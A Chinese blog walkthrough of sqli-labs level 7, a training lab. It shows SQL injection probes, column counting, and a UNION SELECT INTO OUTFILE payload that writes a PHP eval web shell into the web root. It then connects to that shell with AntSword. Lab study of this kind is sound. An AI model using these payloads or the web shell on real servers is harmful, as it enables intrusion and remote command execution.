sqli-labs第七关

该文详细阐述了一个SQL注入攻击的步骤,首先通过测试确定注入点和字符型注入,接着判断字段数为3。由于无回显,作者推测需写入文件来完成目标。文章介绍了如何利用UNIONSELECT和outfile功能读取及写入数据库路径和PHP文件,同时提到了对MySQL权限和secure-file-priv参数的调整。最后,通过蚁剑工具成功连接并验证了写入的PHP木马文件,完成了整个过程。
摘要由CSDN通过智能技术生成

第一步,判断注入点

?id=1

?id=1'

?id=1"

?id=1')

?id=1")

?id=1'))

可以看到,存在注入点,且为字符型注入,单引号括号括号闭合

第二步,判断字段数

?id=1')) order by 3 --+

?id=1')) order by 4 --+

 页面正常,可判断字段数为3

 页面报错,可判断字段数不为4、

第三步:判断回显位

 页面无回显,根据页面的提示“use outfile”,判断需要写入文件 才能过关

?id=-1')) union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址

提示使用outfile
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile() 写入文件

需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

可以用命令窗口看一下MYSQL的权限,先进入MYSQL

show variables lilke '%secure%' ;

如果使用的是phpstudy,进入mysql安装目录,

我的目录是D:\LeStoreDownload\phpStudyjiayou\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,找到my.ini 修改里面的secure-file-priv参数

如果没有secure_file_priv这个选项,直接添加即可。

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\LeStoreDownload\\phpStudyjiayou\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" --+  这里的路径必须用\\

向 目标路径 进行写入一个名为eval的php一句话木马,意思是打开命令行

虽然页面报错,但是在目标路径下可以看到写入的的1.php文件

 用蚁剑进行连接:

先添加数据:右键,添加数据

 填入网址,并点“测试连接”

测试正常,点击“添加”

 双击URL,打开文件管理

 可以看到我们写的1.php脚本文件,双击打开1.php连接成功!

 至此,第七关就结束了!!!

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值